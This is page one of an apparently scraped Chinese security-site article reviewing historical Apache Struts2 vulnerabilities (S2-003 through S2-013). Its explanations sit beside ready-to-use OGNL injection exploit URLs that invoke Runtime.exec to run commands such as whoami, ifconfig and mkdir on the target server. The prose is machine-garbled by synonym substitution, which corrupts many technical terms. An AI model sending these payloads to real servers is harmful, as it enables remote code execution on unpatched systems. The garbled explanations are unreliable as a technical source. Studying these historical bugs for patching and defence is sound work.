欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅谈struts2历史上的高危漏洞

来源:本站整理 作者:佚名 时间:2017-09-04 TAG: 我要投稿

Apache Struts2作为世界上最流行的Java Web框架之义,普遍应用于教导、金融、互联网、通讯等紧张行业。它的一个高危破绽迫害都有可以或许形成重大的互联网平安危险和巨大的经济丧失。本文旨在对以往的高危破绽构成缘故原由、受影响的版本和响应的应用方法停止一次梳理,如有不完善的处所迎接人人斧正。
先来先容一些基本知识:Struts1是全球第一个宣布的MVC框架,Struts2其实webwork和Struts1的根基上开辟的,Struts2和webwork底层都用到了xwork。而且整合了一种更加强大的表达式说话:ognl。基于Struts2框架开辟项目标时刻,必要援用一些根基的jar包,在Struts 2.0.*的时刻,Struts2的必备jar包必要以下5个:
struts2-core-x.x.jar -----------------struts2的核心包
Freemarker-x.x.jar---------------------FreeMarker是一个模板引擎,一个基于模板天生文本输入的通用对象
commons-logging.jar ------------------通用日记记载包
ognl-x.x.jar ——————— ---------支撑ognl表达式
xwork-x.x.jar ——————— --------xwork的包 因为Struts2是由xwork的延长 有些类仍然联系关系着 xwork的类
之后的版本的struts2可以或许还必要其他的jar包,好比commons-fileupload-1.2.1.jar 支撑文件上传的jar包。
apache(http://struts.apache.org/docs/security-bulletins.html)历史上触及的高危破绽以下:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-019、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、DevMode。
一 S2-003、S2-005、S2-007
S2-003
受影响版本:低于Struts 2.0.12
Struts2会将HTTP的每一个参数名剖析为ognl语句履行(可理解为Java代码)。ognl表达式经由进程#来拜访struts的对象,Struts框架经由进程过滤#字符避免平安成绩,而后经由进程unicode编码(\u0023)或8进制(\43)即绕过了平安限定。
S2-005
受影响版本:低于Struts 2.2.1
对付S2-003破绽,民间经由进程增长平安设置装备摆设(制止动态办法挪用和类办法履行等)来修补,平安设置装备摆设被绕过再次招致了破绽。
EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%27\43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27\43context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\75false%27%29%28b%29%29&%28%27\43c%27%29%28%28%27\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27\43mycmd\75\%27whoami\%27%27%29%28d%29%29&%28h%29%28%28%27\43myret\75@java.lang.Runtime@getRuntime%28%29.exec%28\43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27\43mydat\75new\40java.io.DataInputStream%28\43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27\43myres\75new\40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27\43mydat.readFully%28\43myres%29%27%29%28d%29%29&%28l%29%28%28%27\43mystr\75new\40java.lang.String%28\43myres%29%27%29%28d%29%29&%28m%29%28%28%27\43myout\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27\43myout.getWriter%28%29.println%28\43mystr%29%27%29%28d%29%29
履行的“whoami”敕令,将会间接写入到showcase.action文件中,并下载到当地。
S2-007
受影响版本:低于Struts 2.2.3.1
S2-007和S2-003、S2-005的破绽泉源都是同样的,都是struts2对OGNL的剖析进程中存在破绽,招致黑客可以或许经由进程OGNL表达式完成代码注入和履行,所分歧的是:
1. S2-003、S2-005: 经由进程OGNL的name-value的赋值剖析进程、#拜访全局动态变量(AOP思惟)完成代码履行
2. S2-007: 经由进程OGNL中String向long转换进程完成代码履行
假定hello.java中界说了一个整数long id,id来自于用户输入,通报一个非整数给id招致差错,struts会将用户的输入看成ongl表达式履行,从而招致了破绽,是以要想应用此破绽,法式中必需有可以或许接收外界输入的id等参数。
EXP:

http://x.x.x.x/hello.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
二 S2-009
受影响版本:低于Struts 2.3.1.1
EXP:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
将会在体系上树立/tmp/PWNAGE文件。
三 S2-012、S2-013
受影响版本:低于Struts 2.3.14.1
struts2中可以或许经由进程${express}或%{express}来援用ongl表达式,当设置装备摆设一个action中有${input}或%{input}且input来自于内部输入时,给input赋值%{exp},从而招致随意率性代码履行。Struts2标签库中的url标签和a标签的includeParams这个属性,代表表现哀求拜访参数的寄义,一旦它的值被付与ALL或许GET或许 POST,就会表现详细哀求参数内容,成绩在于,struts居然把参数做了OGNL剖析。
x.jsp

Click here.
EXP:

http://x.x.x.x/x.jsp?a=1${(%23_memberAccess[\"allowStaticMethodAccess\"]=true,%23a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载